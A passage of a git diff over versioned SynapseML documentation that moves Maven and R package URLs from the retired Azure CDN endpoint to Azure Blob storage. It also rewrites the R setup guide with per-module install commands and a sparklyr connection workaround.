"org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.13 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.13") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.13 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.13" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.13` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.13/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.13/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.13/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.13/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.13/Reference/R Setup.md b/website/versioned_docs/version-1.0.13/Reference/R Setup.md index 36605056a08..e0962307b46 100644 --- a/website/versioned_docs/version-1.0.13/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.13/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.13.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.13.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.13.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.13.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.13.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.13.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.13.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.13" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.13` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.13 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.13.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.14/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.14/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.14/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.14/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.14/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.14/Explore Algorithms/Deep Learning/Getting Started.md index 7a704b97944..590e933cdd5 100644 --- a/website/versioned_docs/version-1.0.14/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.14/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.14 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.14 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.14/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.14/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 9d1251ef0a8..fb02db5f299 100644 --- a/website/versioned_docs/version-1.0.14/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.14/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.14 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.14/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.14/Get Started/Install SynapseML.md index 53d77bdf6b1..e7b4b1246d5 100644 --- a/website/versioned_docs/version-1.0.14/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.14/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.14", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.14 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.14") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.14 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.14" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.14` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.14/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.14/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.14/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.14/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.14/Reference/R Setup.md b/website/versioned_docs/version-1.0.14/Reference/R Setup.md index a795f77f0f3..4bcf16d54f0 100644 --- a/website/versioned_docs/version-1.0.14/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.14/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.14.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.14.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.14.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.14.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.14.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.14.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.14.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.14" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.14` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.14 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.14.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.15/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.15/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.15/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.15/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.15/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.15/Explore Algorithms/Deep Learning/Getting Started.md index c9433ff4015..ed8e273dac7 100644 --- a/website/versioned_docs/version-1.0.15/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.15/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.15 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.15 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.15/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.15/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 896dc4f54e3..745b8dc06dd 100644 --- a/website/versioned_docs/version-1.0.15/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.15/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.15 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.15/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.15/Get Started/Install SynapseML.md index 558e9602223..2f765918f72 100644 --- a/website/versioned_docs/version-1.0.15/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.15/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.15 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.15") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.15 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.15" ``` @@ -108,7 +108,7 @@ in your workspace. For the 